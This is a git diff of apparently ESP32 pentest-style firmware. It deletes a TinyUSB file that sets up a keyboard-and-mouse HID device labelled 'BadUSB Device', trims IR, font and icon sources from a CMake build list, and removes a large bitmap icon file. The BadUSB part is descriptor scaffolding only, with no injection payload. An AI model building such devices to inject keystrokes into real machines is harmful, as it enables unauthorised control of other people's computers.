.bcdUSB = 0x0200, - .bDeviceClass = 0x00, - .bDeviceSubClass = 0x00, - .bDeviceProtocol = 0x00, - .bMaxPacketSize0 = CFG_TUD_ENDPOINT0_SIZE, - - .idVendor = 0xCAFE, - .idProduct = 0x4001, - .bcdDevice = 0x0100, - - .iManufacturer = 0x01, - .iProduct = 0x02, - .iSerialNumber = 0x03, - - .bNumConfigurations = 0x01 -}; - -uint8_t const desc_hid_report[] = { - TUD_HID_REPORT_DESC_KEYBOARD(HID_REPORT_ID(REPORT_ID_KEYBOARD)), - TUD_HID_REPORT_DESC_MOUSE(HID_REPORT_ID(REPORT_ID_MOUSE)) -}; - -#define CONFIG_TOTAL_LEN (TUD_CONFIG_DESC_LEN + TUD_HID_DESC_LEN) - -uint8_t const desc_configuration[] = { - TUD_CONFIG_DESCRIPTOR(1, 1, 0, CONFIG_TOTAL_LEN, TUSB_DESC_CONFIG_ATT_REMOTE_WAKEUP, 100), - TUD_HID_DESCRIPTOR(ITF_NUM_HID, 0, HID_ITF_PROTOCOL_KEYBOARD, sizeof(desc_hid_report), 0x81, CFG_TUD_HID_EP_BUFSIZE, 1) -}; - -char const* string_desc_arr[] = { - (char[]){0x09, 0x04}, - "HighCode", - "BadUSB Device", - "123456", -}; - -static uint16_t _desc_str[32]; - -const uint8_t* tud_descriptor_device_cb(void) { - return (const uint8_t*) &desc_device; -} - -const uint8_t* tud_descriptor_configuration_cb(uint8_t index) { - (void) index; - return desc_configuration; -} - -const uint16_t* tud_descriptor_string_cb(uint8_t index, uint16_t langid) { - (void) langid; - uint8_t chr_count; - - if (index == 0) { - memcpy(&_desc_str[1], string_desc_arr[0], 2); - chr_count = 1; - } else { - if (index >= sizeof(string_desc_arr) / sizeof(string_desc_arr[0])) return NULL; - const char* str = string_desc_arr[index]; - chr_count = strlen(str); - for (uint8_t i = 0; i < chr_count; i++) { - _desc_str[1 + i] = str[i]; - } - } - _desc_str[0] = (TUSB_DESC_STRING << 8) | (2 * chr_count + 2); - return _desc_str; -} - -const uint8_t* tud_hid_descriptor_report_cb(uint8_t instance) { - (void) instance; - return desc_hid_report; -} - -uint16_t tud_hid_get_report_cb(uint8_t instance, uint8_t report_id, hid_report_type_t report_type, uint8_t* buffer, uint16_t reqlen) { - (void) instance; (void) report_id; (void) report_type; (void) buffer; (void) reqlen; - return 0; -} - -void tud_hid_set_report_cb(uint8_t instance, uint8_t report_id, hid_report_type_t report_type, uint8_t const* buffer, uint16_t bufsize) { - (void) instance; -} - -void busb_init(void){ - ESP_LOGI(TAG, "Inicializando o driver TinyUSB para BadUSB..."); - const tinyusb_config_t tusb_cfg = { - .device_descriptor = &desc_device, - .string_descriptor = string_desc_arr, - .string_descriptor_count = sizeof(string_desc_arr) / sizeof(string_desc_arr[0]), - .external_phy = false, - .configuration_descriptor = desc_configuration, - }; - - ESP_ERROR_CHECK(tinyusb_driver_install(&tusb_cfg)); - ESP_LOGI(TAG, "Driver TinyUSB instalado com sucesso."); -} diff --git a/firmware_c5/components/Service/CMakeLists.txt b/firmware_c5/components/Service/CMakeLists.txt index bffbc5bf..d27533be 100644 --- a/firmware_c5/components/Service/CMakeLists.txt +++ b/firmware_c5/components/Service/CMakeLists.txt @@ -12,15 +12,13 @@ # See the License for the specific language governing permissions and # limitations under the License. -file(GLOB_RECURSE SD_CARD_SERVICE_SRCS "sd_card/*.c") file(GLOB_RECURSE CONSOLE_SERVICE_SRCS "console/*.c") file(GLOB_RECURSE CONSOLE_COMMANDS_SRCS "console/commands/*.c") file(GLOB_RECURSE SPI_BRIDGE_SRCS "spi_bridge/*.c") +file(GLOB_RECURSE SD_CARD_SRCS "sd_card/*.c") idf_component_register(SRCS - "font/font.c" - "icons/icons.c" "wifi/wifi_service.c" "wifi/mac_vendor.c" "http_server/http_server_service.c" @@ -38,37 +36,23 @@ idf_component_register(SRCS "storage_vfs/vfs_sdcard.c" "storage_assets/storage_assets.c" - "ir/ir_encoder.c" - "ir/ir_common.c" - "ir/ir_tx.c" - "ir/ir_rx.c" - "ir/ir_storage.c" - "ir/protocol_nec.c" - "ir/protocol_rc6.c" - "ir/protocol_rc5.c" - "ir/protocol_samsung32.c" - "ir/protocol_sony.c" - "ir/ir_burst.c" "esp_now/service_esp_now.c" ${SPI_BRIDGE_SRCS} - ${SD_CARD_SERVICE_SRCS} ${CONSOLE_SERVICE_SRCS} ${CONSOLE_COMMANDS_SRCS} + ${SD_CARD_SRCS} INCLUDE_DIRS - "font/include" - "icons/include" "wifi/include" "http_server/include" "dns_server/include" "bluetooth/include" - "ir/include" "storage_api/include" "storage_vfs/include" "storage_assets/include" "esp_now/include" "spi_bridge/include" - "sd_card/include" "console/include" + "sd_card/include" diff --git a/firmware_c5/components/Service/icons/icons.c b/firmware_c5/components/Service/icons/icons.c deleted file mode 100644 index f656eb48..00000000 --- a/firmware_c5/components/Service/icons/icons.c +++ /dev/null @@ -1,1550 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#include "icons.h" -#include - - - - -const uint8_t octo_ant[]= {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0xe0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0xf0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3e,0x00,0x0f,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x00,0x0f,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x00,0x07,0xe0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x80,0x07,0xe0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0xc0,0x03,0xf0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0xe0,0x01,0xf0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0xf0,0x01,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0xf0,0x00,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0xf8,0x00,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0x00,0xfc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7c,0x00,0x7c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7e,0x00,0x7e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1e,0x00,0x3e,0x00,0x3e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0xe0,0x00,0x00,0x00,0x00,0x1f,0x00,0x3f,0x00,0x3e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0xff,0xff,0x80,0x00,0x00,0x00,0x1f,0x80,0x1f,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7b,0xff,0xff,0xff,0xf0,0x00,0x00,0x00,0x1f,0xc0,0x1f,0x80,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0xff,0xff,0xff,0xff,0xfe,0x00,0x00,0x00,0x0f,0xe0,0x0f,0x80,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0xff,0xff,0xff,0xff,0xff,0x80,0x00,0x00,0x07,0xe0,0x0f,0x80,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0xff,0xfc,0x00,0x03,0xff,0xe0,0x00,0x00,0x03,0xf0,0x0f,0xc0,0x0f,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0xff,0x80,0x00,0x00,0x3f,0xf0,0x00,0x00,0x01,0xf0,0x07,0xc0,0x0f,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x8f,0x80,0x00,0x00,0x0f,0xff,0xc0,0x00,0x01,0xf8,0x07,0xc0,0x0f,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7e,0x0f,0xc0,0x00,0x00,0x01,0xff,0xf8,0x00,0x00,0xf8,0x07,0xc0,0x0f,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0x07,0xc0,0x00,0x00,0x00,0x7f,0xfc,0x00,0x00,0xfc,0x03,0xe0,0x0f,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0xff,0x03,0xe0,0x00,0x00,0x00,0x3f,0xfe,0x00,0x00,0x7c,0x03,0xe0,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0xff,0x83,0xe0,0x00,0x00,0x00,0x0f,0xff,0x00,0x00,0x7e,0x03,0xe0,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0xff,0xc1,0xf0,0x00,0x00,0x00,0x0f,0xbf,0x00,0x00,0x3e,0x03,0xe0,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0xc7,0xc1,0xf0,0x00,0x00,0x00,0x0f,0x8f,0x80,0x00,0x3e,0x03,0xe0,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x87,0xe0,0xf0,0x00,0x00,0x00,0x0f,0x8f,0x80,0x00,0x3e,0x03,0xe0,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x03,0xe0,0xf8,0x00,0x00,0x00,0x0f,0x8f,0x80,0x00,0x3e,0x03,0xe0,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7e,0x01,0xf0,0xf8,0x00,0x00,0x00,0x0f,0x8f,0x80,0x00,0x3e,0x03,0xe0,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0x01,0xf0,0x78,0x00,0x00,0x00,0x0f,0x0f,0x80,0x00,0x1f,0x01,0xe0,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0x00,0xf8,0xf8,0x00,0x0f,0x80,0x1f,0x1f,0xc0,0x00,0x1f,0x03,0xe0,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0xf8,0x00,0xff,0xf8,0x00,0x3f,0xf0,0x1f,0x1f,0xc0,0x00,0x1e,0x03,0xe0,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0xf0,0x00,0x7f,0xf8,0x00,0x7f,0xf8,0x1f,0xbf,0xe0,0x00,0x0c,0x03,0xe0,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0xe0,0x00,0x7f,0xf0,0x00,0xff,0xfc,0x1f,0xff,0xf0,0x00,0x00,0x03,0xe0,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0xe0,0x00,0x3f,0xc0,0x01,0xff,0xfc,0x0f,0xfd,0xf0,0x00,0x00,0x03,0xe0,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0xc0,0x00,0x1e,0x00,0x01,0xf0,0x3e,0x07,0xfc,0xf8,0x00,0x00,0x03,0xe0,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0x80,0x00,0x00,0x00,0x01,0xe3,0xbe,0x01,0xf8,0xf8,0x00,0x00,0x03,0xe0,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0x80,0x00,0x00,0x00,0x01,0xe7,0xfe,0x00,0x20,0x7c,0x00,0x00,0x01,0xc0,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0x01,0xef,0xde,0x00,0x00,0x7c,0x00,0x00,0x00,0x00,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0x01,0xef,0xde,0x00,0x00,0x3e,0x00,0x00,0x00,0x00,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0x01,0xef,0xdf,0x00,0x00,0x3e,0x00,0x00,0x00,0x00,0x03,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3e,0x00,0x00,0x00,0x00,0x01,0xef,0xdf,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3e,0x00,0x00,0x00,0x00,0x01,0xef,0xdf,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,0x00,0x00,0x00,0x00,0x01,0xef,0xdf,0x00,0x00,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7c,0x00,0x00,0x00,0x00,0x01,0xef,0xff,0x00,0x00,0x0f,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7c,0x00,0x00,0x00,0x00,0x01,0xef,0xef,0x00,0x00,0x0f,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7c,0x30,0x00,0x00,0x00,0x01,0xff,0xef,0x00,0x00,0x07,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x7e,0x00,0x00,0x00,0x01,0xf7,0xef,0x00,0x00,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0x80,0x00,0x00,0x01,0xf7,0xef,0x00,0x00,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf9,0xff,0x80,0x00,0x00,0x01,0xf7,0xdf,0x00,0x00,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf9,0xff,0xc0,0x00,0x00,0x01,0xf3,0x9f,0x00,0x00,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf1,0xf3,0xe0,0x00,0x00,0x00,0xf0,0x1f,0x00,0x00,0x03,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf1,0xe3,0xe0,0x00,0x00,0x00,0xf8,0x3e,0x00,0x00,0x03,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf1,0xe1,0xe0,0x00,0x00,0x00,0xf8,0x3e,0x00,0x00,0x03,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x00,0x00,0x01,0xf3,0xe1,0xf0,0x00,0x00,0x00,0x7c,0x3c,0x00,0x00,0x03,0xe0,0x00,0x00,0x00,0x00,0x00,0x00,0x7c,0x00,0x00,0x00,0x00,0x00,0x01,0xf3,0xe1,0xf0,0x00,0x00,0x00,0x7c,0x7c,0x00,0x00,0x03,0xe0,0x00,0x00,0x00,0x00,0x00,0x03,0xfc,0x00,0x00,0x00,0x00,0x00,0x01,0xf3,0xe0,0xf0,0x00,0x00,0x00,0x3e,0xfc,0x00,0x00,0x03,0xe0,0x00,0x00,0x00,0x00,0x00,0x7f,0xfc,0x00,0x00,0x00,0x00,0x00,0x01,0xf7,0xc0,0xf0,0x00,0x00,0x00,0x3f,0xf8,0x00,0x00,0x03,0xe0,0x00,0x00,0x00,0x00,0x3f,0xff,0xfc,0x00,0x00,0x00,0x00,0x00,0x01,0xf7,0xc0,0xf8,0x00,0x00,0x00,0x1f,0xf8,0x00,0x00,0x03,0xe0,0x00,0x00,0x00,0x0f,0xff,0xff,0xfc,0x00,0x00,0x00,0x00,0x00,0x01,0xff,0x80,0xf8,0x00,0x00,0x00,0x1f,0xf0,0x00,0x00,0x03,0xe0,0x00,0x00,0x00,0xff,0xff,0xff,0xfc,0x00,0x00,0x00,0x00,0x00,0x01,0xff,0x80,0xf8,0x00,0x00,0x00,0x0f,0xe0,0x00,0x00,0x03,0xe0,0x00,0x00,0x03,0xff,0xff,0xff,0xfc,0x00,0x00,0x00,0x00,0x00,0x01,0xff,0x00,0xf8,0x00,0x00,0x00,0x07,0xc0,0x00,0x00,0x03,0xe0,0x00,0x00,0x0f,0xff,0xfc,0x7f,0xfc,0x00,0x00,0x00,0x00,0x00,0x01,0xfe,0x00,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0xc0,0x00,0x00,0x3f,0xfe,0x1f,0xff,0xf8,0x00,0x00,0x00,0x00,0x00,0x01,0xfc,0x00,0xfb,0xe0,0x00,0x00,0x00,0x00,0x00,0x03,0xe3,0xc0,0x00,0x00,0x7f,0xe1,0xff,0xfe,0xf8,0x00,0x00,0x00,0x00,0x00,0x03,0xf8,0x00,0xfb,0xf0,0x00,0x00,0x00,0x00,0x00,0x07,0xf3,0xc0,0x00,0x01,0xff,0x07,0xff,0xfd,0xf0,0x00,0x00,0x00,0x00,0x00,0x07,0xf0,0x00,0xfb,0xf8,0x00,0x00,0x00,0x00,0x00,0x0f,0xf3,0xc0,0x00,0x03,0xfc,0x1f,0xff,0xe7,0xf0,0x00,0x00,0x00,0x00,0x00,0x0f,0xe0,0x00,0xf3,0xfe,0x00,0x00,0x00,0x00,0x00,0x3f,0xe7,0xc0,0x00,0x07,0xf0,0x7f,0xfc,0x1f,0xe0,0x00,0x00,0x00,0x00,0x00,0x3f,0xc0,0x00,0xf1,0xff,0x80,0x03,0x80,0x60,0x00,0xff,0xc7,0xc0,0x00,0x0f,0xe0,0xff,0xf8,0xff,0xc0,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00,0xf0,0xff,0xf8,0x3f,0x80,0x7e,0x07,0xff,0x87,0xc0,0x00,0x0f,0xc3,0xfe,0xfb,0xff,0x80,0x00,0x00,0x00,0x00,0x01,0xfe,0x00,0x01,0xf0,0x7f,0xff,0xff,0x00,0x7f,0xff,0xff,0x07,0x80,0x00,0x1f,0x87,0xf8,0xe7,0xfe,0x00,0x00,0x00,0x00,0x00,0x03,0xfc,0x00,0x01,0xf0,0x1f,0xff,0xfc,0x00,0x0f,0xff,0xfe,0x07,0x80,0x00,0x3f,0x0f,0xe0,0x1f,0xf8,0x00,0x00,0x00,0x00,0x00,0x07,0xf0,0x00,0x01,0xe0,0x07,0xff,0xe0,0x00,0x01,0xff,0xf0,0x0f,0x80,0x00,0x3e,0x1f,0xc0,0x3f,0xe0,0x00,0x00,0x00,0x00,0x00,0x1f,0xe0,0x00,0x03,0xe0,0x00,0x38,0x00,0x00,0x00,0x0f,0x00,0x0f,0x80,0x00,0x7c,0x3f,0x00,0x7f,0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0xc0,0x00,0x03,0xe0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0x00,0x00,0x7c,0x3f,0xe0,0xfe,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0x00,0x00,0x03,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x00,0x00,0xf8,0x7f,0xe7,0xf8,0x00,0x00,0x00,0x00,0x00,0x01,0xfe,0x00,0x00,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x00,0x00,0xf8,0xff,0xef,0xf0,0x00,0x00,0x00,0x00,0x00,0x07,0xf8,0x00,0x00,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x00,0x01,0xf0,0xfb,0xcf,0xf0,0x00,0x00,0x00,0x00,0x00,0x0f,0xf0,0x00,0x00,0x0f,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3e,0x00,0x01,0xf1,0xf3,0xc7,0xe0,0x00,0x00,0x00,0x00,0x00,0x1f,0xc0,0x00,0x00,0x0f,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3e,0x00,0x01,0xe1,0xf3,0xc7,0xc0,0x00,0x00,0x00,0x00,0x00,0x7f,0x80,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3e,0x00,0x03,0xe1,0xe1,0x87,0xc0,0x00,0x00,0x00,0x00,0x00,0xff,0x00,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7c,0x00,0x03,0xe3,0xe0,0x0f,0x80,0x00,0x00,0x00,0x00,0x01,0xfc,0x00,0x00,0x00,0x3e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7c,0x00,0x03,0xe3,0xe0,0x0f,0x80,0x00,0x00,0x00,0x00,0x07,0xf8,0x00,0x00,0x00,0x3e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0x00,0x03,0xc3,0xc0,0x0f,0x00,0x00,0x00,0x00,0x00,0x0f,0xef,0x00,0x00,0x00,0x7c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0x00,0x07,0xc7,0xcc,0x1f,0x00,0x00,0x00,0x00,0x00,0x1f,0xff,0x80,0x00,0x00,0xf8,0x00,0x00,0x00,0x01,0xff,0x80,0x00,0x00,0xf0,0x00,0x07,0xc7,0xde,0x7f,0x00,0x00,0x00,0x00,0x00,0x3f,0xff,0xe0,0x00,0x00,0xf8,0x00,0x00,0x00,0x0f,0xff,0xe0,0x00,0x01,0xf0,0x00,0x07,0xc7,0xfe,0xff,0x00,0x00,0x00,0x00,0x00,0x7f,0xff,0xf0,0x00,0x01,0xf0,0x00,0x00,0x00,0x3f,0xff,0xf0,0x00,0x01,0xf0,0x00,0x07,0xc7,0xbe,0xfe,0x00,0x00,0x00,0x00,0x00,0xfe,0xff,0xf8,0x00,0x03,0xe0,0x00,0x00,0x00,0x7f,0xff,0xf8,0x00,0x03,0xe0,0x00,0x07,0xc7,0xbe,0xfe,0x00,0x00,0x00,0x00,0x01,0xff,0xf8,0xfc,0x00,0x03,0xe0,0x00,0x00,0x00,0x7f,0x81,0xf8,0x00,0x03,0xe0,0x00,0x07,0xc7,0xbe,0x7e,0x00,0x00,0x00,0x00,0x03,0xff,0xf0,0x7e,0x00,0x07,0xc0,0x00,0x00,0x00,0x7c,0x00,0x78,0x00,0x07,0xc0,0x00,0x07,0x87,0xbe,0x1e,0x00,0x00,0x00,0x00,0x07,0xef,0xe0,0x3e,0x00,0x0f,0x80,0x00,0x00,0x00,0x30,0x00,0x38,0x00,0x07,0xc0,0x00,0x07,0x87,0x8c,0x1e,0x00,0x00,0x00,0x00,0x0f,0xcf,0xc0,0x7e,0x00,0x1f,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0xc0,0x00,0x07,0x87,0x80,0x1e,0x00,0x00,0x00,0x00,0x1f,0x9f,0x80,0xfc,0x00,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0x80,0x00,0x07,0x87,0x80,0x1f,0x00,0x00,0x00,0x00,0x3f,0x1f,0x01,0xfc,0x00,0x3e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0x80,0x00,0x07,0x87,0x80,0x1f,0x00,0x00,0x00,0x00,0x7e,0x1f,0x03,0xff,0x00,0x7c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0x00,0x00,0x07,0x87,0xc0,0x1f,0x00,0x00,0x00,0x00,0x7c,0x1f,0x83,0xff,0x80,0xfc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x00,0x00,0x07,0xc7,0xdc,0x0f,0x00,0x00,0x00,0x00,0xfc,0x0f,0xe7,0xdf,0xc1,0xfc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x00,0x00,0x07,0xc7,0xde,0x3f,0x80,0x00,0x00,0x01,0xf8,0x07,0xff,0xef,0xe3,0xfc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x00,0x00,0x07,0xc7,0xfe,0x3f,0xc0,0x00,0x00,0x01,0xf0,0x03,0xff,0xf3,0xf7,0xfc,0x00,0x00